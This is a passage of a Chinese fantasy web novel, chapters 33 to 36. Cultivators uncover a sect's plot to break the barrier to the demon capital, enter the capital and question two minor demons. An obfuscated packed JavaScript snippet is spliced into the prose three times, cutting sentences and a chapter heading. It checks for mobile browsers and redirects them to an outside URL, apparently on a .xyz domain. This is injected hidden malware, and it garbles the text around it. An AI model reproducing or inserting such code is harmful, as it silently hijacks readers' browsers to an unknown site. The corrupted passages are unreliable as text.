“你们怎么会跟妖都扯上关系?”林子满接过灵符,下意识问了句。 她本只是随口一问,没打算追根究底,不想迟渊叹了口气,竟也不藏着掖着:“这还得从那‘后起之秀’——驭妖宗说起了。” “驭妖宗?”林子满不自觉看了眼莫叶声,见他也正一脸茫然。 迟渊瞧出端倪,随着她的目光看向莫叶声,有些惊讶地问:“怎么,莫非你是驭妖宗的人?” 莫叶声点头称是,随后迟疑地问:“……驭妖宗,跟妖都有关?” 听他这么问,迟渊狐疑地打量了他几番:“你这个年纪能有这种修为,怎么也该是内门弟子吧?难道不知道你们宗主一直在找妖都?” 驭妖宗宗主周余,三百年前横空出世,无人知晓他师承何门,又有着什么样的来历。 他修为不高、相貌平平,属于混在人堆里就不会轻易被发现的那一类。 但他凭着一手驭妖术,收服的强大妖兽不知凡几,更是借此建立了驭妖宗,在修真界有了一席之地。 驭妖宗弟子虽行事张扬,周余却好似不是个热衷于此的性子。他常年静修,不与他派来往,只在宗门初立时,率众弟子吞并了一个名不见经传的小门派。 令人困惑的是,那小门派所在的地方灵气并不充沛,也并非处在什么要塞之地,周余却在事后迁宗于此,从此再未变过。 驭妖宗在修真界声名狼藉,关于周余这位宗主的传言却少之又少,年轻一辈多半只知驭妖宗而不知周余,旁人提及他时,大多也只是抱怨其未能约束门内弟子,任其胡作非为。 因此听到迟渊的话,莫叶声心中大为惊讶,这些事他从未听师父提起过。 他解释道:“师父不准我插手宗内事务,只让我好好修炼,不要被杂事分了心,就连这次来得失境,都是我瞒着师父偷偷溜出来的。” 见他言辞恳切,不似撒谎,迟渊略一迟疑,不再追问,继续方才的话题:“驭妖宗发展迅猛,前些年实力就已在蕉林谷之上,从一个籍籍无名的小门派,一跃成为修真界第二大宗门。” “本来万物更迭、新旧交替是很正常的事,兴衰荣辱,不过是世间最简单的道理,没有哪个宗门能永远屹立不倒,蕉林谷能有如今这样的成就已很不容易了。”说到这儿他深深叹了口气,眼里不自觉带了些无奈,“但我爹就是过不去心里那关,总觉得这一切都是他的错。” “我爹天资平平,本不是谷主的最佳人选,但他年少时,他那聪颖灵慧的兄长为救他而死,他才不得不挑起这个重担。” “继任以后他就一直在为蕉林谷的发展努力,为此还做过很多啼笑皆非的事。”迟渊忍不住笑了笑,“比如从前他总是缠着林叔,想让他把你嫁给我——” 听到这儿,秦扬猛地抬眼看过来,眼神一凝。 33. 丹药 迟渊意识到什么,话音一顿,用询问的眼神望向林子满。 她自称林柿,定然是隐瞒了自己的身份,如今有外人在,他说的太直白岂不是暴露了她的身份? 林子满无所谓地摆摆手:“无妨,你只管说就是了,他们也都知道的差不多了。” 先前在得失境时,林芷那一番话大家都听见了,只要不蠢,自然能想到她跟上阳宗关系匪浅。 更别说秦扬直接猜的八九不离十了,也没什么好瞒的了。 只是出去以后,不知道又要引来怎样一番腥风血雨。 林子满在心中默默叹气,安生日子又要到头了。 得到林子满首肯,迟渊继续道:“我爹豁出一张老脸不要,任别人在背后说他凭着旧时的一点情谊蹬鼻子上脸,只要林叔没有明确拒绝就不放弃。” “他这么做不是为了我,只因为上阳宗是修真界第一大宗,若两派结秦晋之好,蕉林谷会得到更好的发展,虽说不至于到与上阳宗平起平坐的地步,但两宗共享的资源、功法、人脉,也足以让蕉林谷实力提升好大一截了。况且,蕉林谷不擅武斗,精心于丹药阵法,若能有以剑术闻名的上阳宗为后盾,在修真界的底气会强上许多。” “他这一生殚精竭虑,想的都是怎么能让蕉林谷更上一层楼,不成想,到头来却被一个才创建百余年的宗门夺去了第二的名头。他觉得都是自己的错,是他太过平庸,才令蕉林谷落到如此地步。他总说对不起为了救他而身殒的兄长,总想着若当时没有拼死救他,兄长成为了谷主,一定不会像他一样,让蕉林谷蒙羞。” “想的多了,便成了执念,他开始没日没夜地探听驭妖宗的消息,想要找出他们发展如此之快的原因,不成想,却让他发现了不对劲的地方。” “不对劲的地方?”莫叶声有些紧张,“难不成是那驭妖之术有问题?” 迟渊点头:“你也练过?” 莫叶声摇摇头,他不赞同师兄弟们对待妖兽的态度,也不愿平白限制无辜妖兽的自由。 况且那术法着实有些诡异,他实在不想沾染。 但如果那驭妖之术真的有问题,整个驭妖宗里修炼时间最长的就是周余,想到这儿,莫叶声深深皱起了眉头。 迟渊道:“你就算没有练过,也该知道你那些师兄弟是如何驭妖的吧?” 这确实是知道的,莫叶声也不隐瞒:“若要驭妖,得先去药堂领丹药,只要将那丹药喂进妖兽口中,再辅以相关术法,便能成功收服妖兽。” “丹药?”林子满听到这儿皱起了眉头,她先前只听说那驭妖之术神秘莫测,原来竟如此简单?但怎么会是用丹药呢…… “你也听出不对了吧?”迟渊看了她一眼。 林子满点点头:“契约妖兽困难的点不在于用武力降服,要紧的是如何让妖兽内心臣服,若是想用丹药来做到这点,就得用迷惑心智的药。但是这种丹药一来为人诟病,向来为正道之人所不齿,但凡是名门正派都不会允许宗内出现这种东西。二来这种丹方稀少不说,还原料难寻、不易炼制,若是每头妖兽都需要用丹药来驯服,以驭妖宗弟子人数之众,根本炼制不过来。” “况且不同妖兽修为不同,心智毅力也大相径庭,但他们所用丹药却一成不变。”迟渊讽道,“倒是十分全能。” 秦扬不解:“既然是丹药有异,又与妖都有什么关系?” 迟渊:“我们曾偷偷劫过一枚丹药带回宗内查验,发现那并不是什么惑人心智的药,而是一枚很普通的疏灵丹,只是能加快灵力运转罢了。但是,那丹药中却有一股极淡的血腥味。” 林子满眉头微扬,惊讶道:“那丹药里掺了血?” 迟渊点点头:“没错,既然其他药材都无异常,那发挥作用的只能是里面掺的那点血。” 林子满:“但仅仅只靠一点血便能驯服妖兽?这不太可能吧?” 迟渊:“所以我们怀疑那不是人血,而是某种妖兽的血?” “妖兽的血?” “对,不似人族只以修为定强弱,妖族的强大与弱小和他们的原身有很大的关系,高品阶的妖兽对低于自己的妖兽有很强的压制作用,有时甚至能无视修为的差距,那是它们自血脉里带来的。” 林子满了然:“所以你们觉得驭妖宗里或许有一头品阶很高的妖兽,被囚禁取血制丹?” “我们确实这么想过,但这种可能性其实极低。高阶妖兽大多实力强悍,抓捕不易,况且它们性子高傲,想来宁愿死也不会任人囚困,更不会这么这多年持续供人取血。” “所以我们怀疑是某种血脉奇特的妖兽,品阶、实力皆不高,却生来就对其他妖兽有压制作用。”迟渊继续道,“并且,我们得知周余之所以放任门下弟子大肆捕捉妖兽,有一部分原因就是他想从那些妖兽口中得知妖都入口。” 秦扬皱眉:“普通妖兽哪里会知道妖都入口?若知道,它们早就逃了回去,何苦还要在修真界东躲西藏?” 林子满却猜到了:“在修真界长成的妖兽自然是不知的,但自妖都来的就不好说了。” “没错。”迟渊点点头,“随着分隔两界的阵法日渐薄弱,人界来过不少妖都来的妖,而且大多修为不高,要抓住也不难,驭妖宗就想碰碰运气,抓的多了,总能碰到自妖都逃出来的,这样便可逼问出妖都的情况。况且,他们越是大量捕杀妖兽,妖兽在修真界的处境就会越艰难,就会有更多的妖兽想要回到妖都,他们就可看着那些妖兽替他们寻找,自己坐享其成。” “所以我们这次来妖都,一是为了探寻有没有一种妖兽,对大部分妖兽都有压制作用,即便只有一丝丝血,也能发挥作用。二来,则是摸清楚驭妖宗是否已与妖都勾结。” “与妖都勾结?”莫叶声拧眉,脸色有些难看。 虽说驭妖宗的驭妖之术古怪了些,但怎么就到了与妖都勾结的地步? “你们当驭妖宗寻妖都是要做什么,难不成是想去妖都游玩一番?他真正想做的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902850|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破除两界之间的阵法!” 迟渊这话无异于一道惊雷,将不知情的几人惊得呆愣当场。 “……你是怎么知道的?”林子满勉强稳住心神,若他的话是真的,那修真界或将迎来一场浩劫。 “那自然是因为他们已经将主意打到了蕉林谷身上。”迟渊冷道,“这些年来,藏书阁数次遭窃,幸而未让他们得逞。他们还以为自己藏得很好,身份未曾暴露,权当我们的护阁大阵是摆设。” 蕉林谷最擅阵法,藏书阁内藏满了玄之又玄的典籍与阵图,若当真想破除那上古大阵,确实要从他们下手。 林子满不自觉将视线落在了莫叶声身上。 不止是她,周围不少人都看了过来。 顶着多道打量的目光,莫叶声抿紧了嘴唇,他知道自己身为驭妖宗的弟子,却说对宗内事务一无所知,实在很令人怀疑。 “我……”过了半晌,他嗫嚅着开口,“我真的不知道……” 破除两界之间的阵法会造成什么样的后果,不用深想就足以令人胆寒。 万年之前人妖两族的大战,即便现如今的他们只在各种典籍与传说中见过,但其中的惨烈与残酷,不会让人有丝毫怀疑。 杀红了眼的人与妖,不死不休。 那是真正的尸山血海、饿殍遍野。 是有人以身殉阵才换来了修真界这万年来的安宁。 而如今竟有人打算毁掉这来之不易的和平,那人还是对他来说如兄如父的师父…… 莫叶声惶然而又无措地垂下了头,犹豫许久,他下定了决心:“此去妖都,我就不与你们同行了,我留在这儿便好,待我回到得失境,便能自行离开了。” “光凭你一人,猴年马月才能找到出口?况且你身上的伤还没好,你不要命了?”林子满皱眉,“我们怎么能丢下你一人在这儿?” 莫叶声摇摇头:“我知道我身份尴尬,此事事关整个修真界的安危,我不能拖累你们。” 迟渊稍作思忖,沉吟道:“你说你对此事全然不知,可有证据能证明?又如何能保证将来不会将这些事告诉你师父?若能做到这两点,你与我们同去妖都也无妨。” 说来简单,但世间最难之事,本就是证无。 无辜与清白是最难辩驳清楚的事。 莫叶声默然不语,像是不打算再为自己争取。 正在此时,突然有人上前一步,止住迟渊的话头:“我相信他,他既说自己不知,就定然是不知的。” 她又转头看了眼莫叶声:“你能保证不会将这些事告密给你师父,并且不打乱他们的计划吗?” 莫叶声点点头。 “好,我信你。”林子满转回身,坚持道,“你信不过他,总信得过我吧?若你不放心,便将他交给我看着,我保证他不会出什么幺蛾子。” 莫叶声愣愣地看着挡在自己身前的人,不敢相信林子满会无条件信任他。 迟渊犹豫片刻,终究还是点头同意了。 34. 妖都 头顶的太阳越来越小,光芒渐弱,已不再如之前那般灼目。 迟渊见人已到齐,不再耽搁,掏出一瓶丹药分给大家:“这是隐息丹,在进入妖都之前需先服下,十日之内可掩藏住气息。” 妖族嗅觉灵敏,若直接大喇喇地进去,极易被他们识破身份。 人界的妖兽修行不易,开灵智都要靠天道垂怜,大多修为平平,不过是靠着强悍的肉身才能在修真界争得一席之地。 而妖都的妖生来便身负妖力,有些甚至落地便能化作人形。 虽同为妖,但二者之间的差距,犹如蚍蜉之于巨树,不可同日而语。 在妖都妖修的眼里,人族就是一块块鲜美的肥肉,他们还是不要被发现的好。 “趁着天色还没变,抓紧动身吧。”迟渊吞下隐息丹,率先跳向了那映着天空的水面,转瞬便失去了踪影。 那么大一个人跃进水里,本该溅起大片水花,但神奇的是那水面竟然一丝涟漪也未起,迟渊整个人就如同被吞没一般消失在水里。 大家也不再迟疑,纷纷跟在他身后跳了进去。 林子满见那水面毫无波澜,还以为这坑里并不是真的有水,只是藏匿传送阵的障眼法。 但当她落进去时,才发现周围那些柔柔包裹着自己的东西竟真的是水,只是很快,水的触感就散去了,裹着她的东西变成了云,变成了雾,接着又变成了风。 他们竟是在从天上往下落! 众人反应不慢,佩剑接连出鞘,乘风而起。 除了林子满。 她平时不惯使剑,只有需要御剑时才会从储物镯中取出。先前在水坑边等人时便已顺手将剑收回,因而此时还未来得及召出,整个人正快速往下坠去。 秦扬心下一紧,身形微动,下一刻便御剑朝她冲去。 眼看就要触到那翻飞的衣摆,幽光闪过,一柄细长的剑自她腕间储物镯冲出。 林子满一个鹞子翻身,利落地踩了上去。 待落到地面,林子满没好气地抱怨:“我说迟渊,你就不能提前说一声进妖都是这么个进法吗?让我这种不惯使剑的连个准备都没有,要不是反应快,我今天就是白送给那些妖加餐的。” 迟渊十分无辜:“我当真不知这入口竟是与妖都的天相连。” 那水坑倒映着魔域的天,蓝盈盈的一片,没想到其下竟也真的是天空。 “况且,你什么时候不惯使剑了?上阳宗——”他话音猛地一顿,宛如一只正在打鸣的公鸡突然被扼住了喉咙,未尽的话语堵在嗓子眼里,变作一声奇怪的音调。 上阳宗以剑为安身立命之本,凡是上阳宗弟子,无一不剑术卓绝。 林子满作为曾经的上阳宗少主,怎么可能不惯使剑? 但曾经二字,说来轻巧,却残酷地昭示着物是人非,今非昔比。 林子满轻抚手中细剑,清亮的剑身随着她划过的指尖微微震颤,像是久别重逢激动不已。 但林子满细细打量片刻后,“刷”地一声收剑回鞘,不顾剑身嗡鸣,强行将剑又丢进了储物镯,换上了那把再寻常不过的铁剑。 妖都情况不明,危险重重,确实不能再像之前那样大意。 她装作没看见迟渊的欲言又止,转而说起正事:“你们打算怎么查?我们有什么能帮得上的吗?” 见她不欲多言,迟渊也不好再说什么,几不可查地叹了口气,答道:“我们对妖都的了解也并不比你们多几分,目前只能先摸清这儿的情况,之后再做打算。” * 传说妖都妖气旺盛,遍地是妖,脚下随便一块石头都有可能是某个大妖幻化而成。 现在看来,传说果然还是传说,跟实际并没有太大关系。 林子满一边疾行一边打量着四周的风景。 也不知从那水坑进来以后他们是落在了哪里,走了大半个时辰了还是黄沙漫天,不见一个活物。 一只手忽然伸过来,将她的兜帽扯正几分,挡住了被风卷来的砂石。 林子满偏头望去,只能看到秦扬精雕玉琢的下半张脸,那双黑沉沉的眼眸隐在兜帽的阴影里,看不分明。 “石子尖利,容易受伤。”察觉到她的目光,秦扬轻声解释了句。 “哪就有那么细皮嫩肉了。”林子满好笑。 话音刚落,一阵大风猛地刮过,飞扬的沙子糊了她一脸。 “呸呸——” 林子满吐掉几粒沙子,听见耳边传来一声极轻的笑。 待她转回头时,秦扬嘴角扬起的弧度已经落了下去,仿佛刚刚她听见的笑声只是错觉。 林子满打量他几眼,忽然问:“是发生什么事了么?总感觉你这几天不怎么开心的样子。” 先前没留意,方才她才忽然发现,最近几日秦扬好像很少笑,连话都不怎么说。 也并不是说秦扬是个多么热络的人,但秘境相伴这些天来,他总是眼含笑意的,时不时还会说些俏皮话调节气氛,从未像这般沉默寡言过。 秦扬一怔,像是没想过她会注意到自己的反常。 “也不是什么大事。”过了一会儿,他缓缓说道,声音有些低沉,“我只是发现,自己好像有些自作多情了。” 林子满微讶,自作多情?什么人能让秦扬自作多情? 难不成是他先前说的……他喜欢的那个人? 想到这儿,林子满心里有些堵得慌,感觉呼吸都有些不顺畅了。 她勉强平静地开口:“怎么说?” 秦扬看了眼前面不远处身姿缥缈的青年,缓缓道:“迟渊是你少时好友,知晓你过去的一切,你不愿告诉我的,他全都一清二楚,你们相识得早,你待他与旁人不同也是情理之中。” “但是你与莫叶声也不过就相处了十来日,却能那样信任他,他说自己不知,你便信他真的无辜。而我不过问了句杨之曜是谁,长老却与我置气。”他扯了扯嘴角,露出一抹苦涩的笑,“没想到在你心里,我竟连他都比不过。” 听到这儿,林子满有些懵,她什么时候同他置气了?什么又叫他连莫叶声都比不过?这两者有什么可比性吗? 莫叶声人虽不错,是个挺讨人喜欢的小孩,但秦扬之于她的意义,又岂是随便什么人都能比得过的? 先前她为莫叶声说话,不过是恍然间在他身上看到了曾经那个无力辩驳的自己。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902851|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不是你想的那样——”林子满皱眉想要解释,话到嘴边又突然住了口。 为什么要解释呢?就这样不好吗?反正最后都是要离开的人,又何必跟他牵扯不断呢? 就这样让他误会,令他失望,让他疏远自己,将她当成一个无关紧要的人,不正好合了她的心意吗? 林子满嘴角微动,脸上的神色几经变化,最终还是垂下眼睫,将话通通咽进了肚子里。 秦扬眼里的期待随着时间推移渐渐淡去,最后自嘲地笑了笑,露出一副果然如此的神情,再不多说什么,沉默地埋头朝前赶路。 众人又走了许久,一成不变的黄沙中终于出现了其他东西。 只见远处地平线上,一座座山石慢慢显现出身影。 待走得近了些,才发现那嶙峋的山石并非错落林立在各处,上部分虽奇形怪状各不相同,下半部分却连接在一处,稳稳当当地立在地面,就像是一块巨石如树一般长出了无数枝桠。 这一幕着实有些令人毛骨悚然,让人不禁怀疑那不是一块石头,而是一头隐藏了獠牙的巨兽,下一刻就要扑过来将人吞食殆尽。 正这么想着,那巨石的某根分叉好似真的动了动! 众人顿时警戒地将手放在了各自的武器上,如临大敌地看着刚刚晃动过的那块石头。 对峙许久,却不见对面再有动作。 凝神细看,才发现那石壁上有一扇与它颜色极近的门,门与石壁之间只有一道几不可查的缝隙,二者几乎浑然一体。 “方才动的是那扇门?”迟渊犹疑着问,“谁会在这石壁上凿出这么一扇门,难不成里头藏着妖?” “估计是,刚刚莫非是有东西将它关上了?” 林子满仔细观察着这大得离谱的山石,突然发现,不止他们刚刚看到的那里有扇门,几乎每块稍大些的石壁上都有那么一道缝隙,粗略算来,这巨石上有着成百上千道门。 若门后真藏着妖怪……林子满头皮有些发麻。 并不是说他们隐藏了身为人的气息就能万事无忧了,互相残杀对妖来说不过是家常便饭,若真起了冲突,他们这区区十来人还不够它们塞牙缝的。 迟渊显然也发现了这点,脸色凝重了几分:“先离开这儿。” 林子满点点头,刚要说点什么,“吱嘎——”一声突兀响起。 众人顿时如临大敌,猛地偏头望向声音传来的方向。 一个小孩揉着眼睛走了出来,看见他们时明显愣了愣。 那是个看起来只有六七岁的男孩,肉手肉脸,一双水汪汪的大眼睛泛着红,看起来无辜极了,左侧脑袋上却突兀地支棱着一节鹿角,显示着他妖族的身份。 他们正大眼瞪小眼,两厢对峙,一声怒斥从那扇敞开的门里传了出来:“杵在门口做什么!” “整天吃了睡睡了吃,让你干点活气性这么大!怎么,有骨气放话说不吃老娘的,没本事自力更生啊?去啊,愣在这里干什么,我看你能找得着一根草!” 一只手将男孩推得一个趔趄,一个膀大腰圆的妇人单手叉腰出现在门口,犹嫌不解气地指着他骂骂咧咧,粗犷的声音在看到不远处的一群人时戛然而止。 35. 石城 不清楚对方实力如何,暂时不宜轻举妄动,众人精神紧绷,不动声色地观察着对面二妖。 妇人也在打量着他们,眼里的警惕不比他们少。 那鹿角男孩倒是不怕,显然对这些陌生来客很是好奇,一个接一个地盯着瞧,连自己先前在哭都忘了,鼻涕都快流到嘴上了也没发觉。 他往前走了几步,像是想再凑近点看,被那妇人一个箭步上前拎住了后颈,提起来往门内狠狠一扔:“给我滚进去老实待着!” “砰——” 门里传来一阵不小的碰撞声,应是被丢进去的男孩砸到了什么。 看起来倒是个凶残的妖,不过,八成是色厉内荏。 林子满收回看向她裙摆的视线,对眼前的妖有了大致的猜测。 她刚刚走动时露出来的并不是人形双腿,那麻葛粗布下藏着的,分明是一双马蹄。 听她方才话里的意思,那个男孩应该是她养着的。 虽然不知道为什么一匹马会和一头小鹿牵扯在一起,但目前来看,这二妖暂时是对他们造不成什么威胁了。 与人族动辄搬出自己的祖宗八辈,恨不得所有人都知道自己的来历多么高贵不同,凡是能化作人形的妖,大多不愿暴露自己的原身,因为一旦被识破真身,弱点被发现,对战时很容易落于下风,稍有不慎就会被敌人绞杀,即便侥幸不死,后续也极易引来天敌捕杀。 因此若非妖力不济维持不住人身,或者实力强大到不需忌惮任何人,妖族不会轻易显露自己的原身。 而眼前这一马一鹿,显然并不属于后者。 “你们怎么又来了?难不成还不死心,还想来跟我们抢地盘?”马妖语气不善,“这倒是稀奇啊,怎么?不继续当你们的缩头乌龟了?” 又? 林子满与迟渊对视一眼,不动声色地试探:“哦?你认出我们来了?” “既然想隐藏身份,何不再装得像些?遮遮掩掩地裹成这幅模样,还带着那劳什子破剑作甚?” 她话音一转:“不过想想也是,你们把那些破铜烂铁看得比性命都重要,怎么可能舍得丢下这‘身份’的象征?”马妖嗤笑一声,“不愧是低贱的人族。” 人族二字出口的刹那,迟渊脸色一变,他微微偏头使了个眼色,身边的少年霎时如离弦的利箭一般射出,须臾间已至马妖身侧。 马妖眼前一花,不待反应过来已被绑了个严严实实,惊怒之中下意识想要厉喝几句,嗓子里却只能发出嘶哑的“嗬嗬”声。 制住马妖后,时客一个闪身进了门内,不消片刻就走了出来,嗓音清凌凌的:“里面只有那头鹿妖,并没有其他人。” 迟渊微微颔首,时客便走上前来牵住捆妖索的一端,拽着马妖走进门内。 林子满啧啧感叹:“真是好身手啊,你从哪里抢来的?他竟甘愿留在蕉林谷?” “蕉林谷是什么很差劲的地方吗?”迟渊淡淡睨了她一眼,“当年是谁赖着不肯走,最后还是被绑回去的?” “咳咳——”林子满不自在地咳了两声,老脸一红,“那不是贪玩躲懒么,我们这些不思进取的自然是喜欢蕉林谷的安逸的,但像他这种一看就十分上进的,身手又好,整日跟你们这些阵修丹修厮混在一处,岂不是白白浪费天赋了?” “我们都劝过,他却说要留在蕉林谷报恩,他不愿意我们也不好强求。” 虽没细说,林子满大概也能猜到事情始末,她眉头微动,不自觉看了眼莫叶声,这两人倒是十分相像。 走进门里,众人微微一惊,原本以为这只是处简陋的藏身之地,没想到内里竟布置得像个家。 不大的空间里塞满了东西,各种生活用具一应俱全,树皮床上铺着柔软的干草,墙上挂着各式各样的树枝,草编篮子里装满了果实种子,挨挨挤挤地堆在角落里。 木墩子大桌边绑着那个男孩,正瞪着一双鹿眼又惊又惧地看着他们。 “你,你们想干什么……”看见同样被捆住丢在一旁的马妖,他颤抖着声音开口。 迟渊站定在他面前,冷声发问:“这里是什么地方?” 小鹿妖啜泣着,声音无辜:“这里……这里是我家啊。” 迟渊:“……” 不知他是装的懵懂无知还是当真过于年幼,迟渊朝林子满看了一眼。 接收到他的视线,林子满先是一愣,随后无语地在心里翻了个白眼。 又来了! 他那该死的表演欲又上来了!! 迟渊收回视线,取下腰间佩剑,半蹲在鹿妖面前,缓缓拔剑出鞘。 他一边故意将剑拔得刺啦刺啦作响,一边阴森森地说:“看来不吃点苦头你是不会说实话了。” 雪亮的剑光晃过那双布满恐惧的鹿眼,迟渊以剑尖挑起他的下巴:“我数三个数,你要是再不肯说,我就剜掉你一只眼,或者,”他视线上移,“将你的鹿角一片一片地切下来,再喂你吃进去。看你年纪还小,鹿茸应该正是美味的时候,想来你应该从未吃过,这次正好尝尝?” 他慢悠悠地开始数数:“一……二……” 豆大的泪珠从鹿妖眼睛里滚落,整个身体缩成一团瑟瑟发抖,马妖挣扎着想扑过来,奈何被牢牢扯住,只能从嗓子眼里挤出几个混乱的音节。 “哦?看来她很激动啊,莫不是她也想尝尝鲜?”迟渊故作惊讶地挑挑眉,“那你就行行好,分她几口成不成?毕竟她将你养这么大,你也该回报一二,不如就将你的眼睛分给她吧。” “大不了我待会儿也将她的眼珠剜出来给你尝尝,这样你也不算吃亏。”说着,他剑尖上挑,对准了鹿妖的眼珠,作势要刺进去。 “等等——” 在鹿妖堪堪要尖叫起来时,一只手抓住了迟渊持剑的手臂。 林子满看着泪眼婆娑的鹿妖,幽幽叹了口气,板起脸微怒道:“他还是个孩子,你怎么能这么对他?” 她蹲在鹿妖面前,视线与他平齐,尽量放轻语气:“别害怕,我不会伤害你的,来,先起来。” 林子满拉过一旁的小木桩,扶着他坐好,柔声问:“你叫什么名字啊?” 鹿妖抽抽噎噎地说:“我……我叫鹿。” 迟渊:“……” 他粗着嗓子狠声道:“就知道他不会老实交代,我看还是先给他来两刀!” 鹿妖惊慌失措地往林子满身边缩:“我、我没骗你!我真的叫鹿!” “好了好了,我知道你没骗我。”林子满一边安抚他,一边循循善诱,“那你能不能再跟我说说,你们住的这里是什么地方?” 鹿迟疑着想往马妖那儿看,被迟渊一个凶狠的眼神瞪了回来,踟蹰片刻才小声回答:“这里是石城。” 石城? 林子满向迟渊投去一个询问的眼神,见他微不可察地摇了摇头。 “这大石头也是妖吗?” 鹿点了点头:“不过他已经死了,不能再长大了,所以我们现在都不够住了。” “这石城已经住满了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902852|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 得到对方肯定的回答,林子满眸色一沉,看来他们要速战速决了。 面前这二妖虽实力不强,但其他的妖却未可知,这巨石若当真住满了妖,还真不是个小数目。 而且他们先前已经乔装打扮过,却还是被那马妖一眼就看破了身份,林子满不相信只是他们佩剑的缘故。 妖都与人界分隔已久,怎会只因他们带了剑就立马猜到他们是人族? 况且那马妖当时丝毫不见惊讶,好像并不意外妖都为何会出现人族,而她那时口中的“又”,指的又是谁? 难不成……林子满猛地一怔。 难不成这妖都也有人族的存在? 恰在这时,鹿见她许久不说话,有些畏缩地问:“你们,你们真的又是来跟我们抢地盘的吗?” “我们只是想知道一些事情,你乖乖告诉我们的话,我们很快就会离开。” “这人脾气相当不好,动不动就要喊打喊杀,我也不知道还能拦得住多久。”林子满以眼神示意迟渊,“所以为了你们的安全着想,你要把你知道的都告诉我们,知道吗?” 迟渊适时做出一副凶神恶煞的样子,不耐烦地啧了几声,看起来下一刻就要挥剑砍妖。 鹿咽了咽口水,连忙道:“我说,你们想知道什么?我知道的都会告诉你们的!” 林子满满意地摸摸他的头,问出自己的猜测:“先前来跟你们抢地盘的,也是人族?” 鹿点点头:“他们好像被赶出来了,没地方去,就想来跟我们抢石城。” 原来妖都里当真还有其他人族! 林子满压下眼里的惊讶,继续追问:“他们是从哪里被赶出来的?后来又去哪儿了?” “应该是从灵泽来的吧,据说灵泽先前住了很多的人族,只是不知怎么突然都被赶了出来。”鹿小心地觑了眼迟渊,有些迟疑地说,“不过这些都是我听来的,不知道是真是假,至于他们后来去了哪儿……我就不清楚了。” 见迟渊脸色有些不好,他赶紧道:“我没骗你们,我是真的不知道!那些人族打来的时候我被关在屋子里,根本没见着他们!” 迟渊没理他着急的辩解,转而问道:“灵泽是什么地方?” “你连灵泽都不知道?”鹿有些惊讶,再次狐疑地打量了他一眼。 这世上还会有连灵泽都不知道的?连他这种住在石城的小妖都听说过灵泽,这人族是从哪个山沟沟里来的? 迟渊不耐烦地瞪了他一眼:“问你你就说!哪儿那么多废话?” 鹿缩缩脖子,暗自腹诽,这人族脾气果真差,根本没人笑他没见识,他自己反倒恼羞成怒了! “灵泽就是妖王住的地方啊,是这世上最繁华的地方,那里面还住了很多很厉害的大妖,每一个手上都沾满了鲜血,吃妖不眨眼的!”他的眼睛亮晶晶的,语气既畏惧又崇拜,还不自觉带了些向往,若是自己能成为那样的大妖,哪里还用怕这个人族? 想到这儿他又补充了句:“他们也杀人的,杀人如麻!” 然而并没有人被他口中的大妖吓到,他们反而开始问起去灵泽的路。 但作为一只尚且年幼的小妖,鹿的见识也多不到哪里去,灵泽这种地方更是不曾去过的,只能大致给他们指了个方向。 事情问得差不多后,迟渊拍拍衣袖,施施然站起身。 时客自觉走上前来,在鹿妖惊恐的眼神中,面无表情地给了他一记手刀,又拖过同样被打晕的马妖,一起牢牢地绑在那大木墩子上。 36. 半妖 崎岖的山路上,神色匆匆的一行人正忙着赶路。 “你觉得他的话有几分可信?”迟渊脚下不停,抽空问了句。 “他看起来不像是个会说谎的,应当不会骗我们。怎么,你现在对自己这么没信心了?”林子满语气里染上几分戏谑,“这么不相信自己唱白脸的本事?” 迟渊幽幽叹道:“毕竟许多年没演过了,有些忐忑也是正常的。哪像你,信手拈来,熟练得很。” 林子满不由嗤了声:“我倒是没看出来你有半点忐忑,想来这些年没少干这种事吧?” “我好歹是一宗少主,怎会如此幼稚?”迟渊匪夷所思地瞪着她,“若非今日情形特殊,我才不会做这样有失身份的事!” 林子满嘴角一抽,情形特殊?特殊在哪儿了?分明就是他好不容易又逮着了个观众,迫不及待要演上一把,偏还说得这样冠冕堂皇。 两人如从前一般拌起了嘴,你一言我一语,话题越跑越歪,若非突然出现的人打断了他们的话头,二人估计已经打起来了。 突兀闯进众人视野的是个年纪不大的女孩,身形瘦削,还不及林子满肩膀高,身上裹一块缝得奇形怪状的兽皮,削尖的小脸上抹着些暗褐色的泥,衬得一双眼睛出奇的大,墨玉般亮得惊人。 见着他们,少女也是一怔,眼神警惕地打量着他们,像是在猜测他们的身份。 对方并不像先前那二妖一般,身上有着无法隐去的部分原形,兽皮虽遮去了她大半身形,但从露在外面的手脚来看,皆与常人无异。 林子满试探着往前走了几步,表示自己并无敌意,让她不必害怕。 少女紧绷着身子犹豫片刻,周身的戒备虽未散去,却也朝他们的方向挪动了几步。 待双方的距离拉近几分,她才迟疑着问:“你们是妖还是……” 听她这么问,几人眼神都起了些变化,林子满不答反问:“你觉得呢?” 这里是妖都,会问出这种问题的,九成九不会是妖。 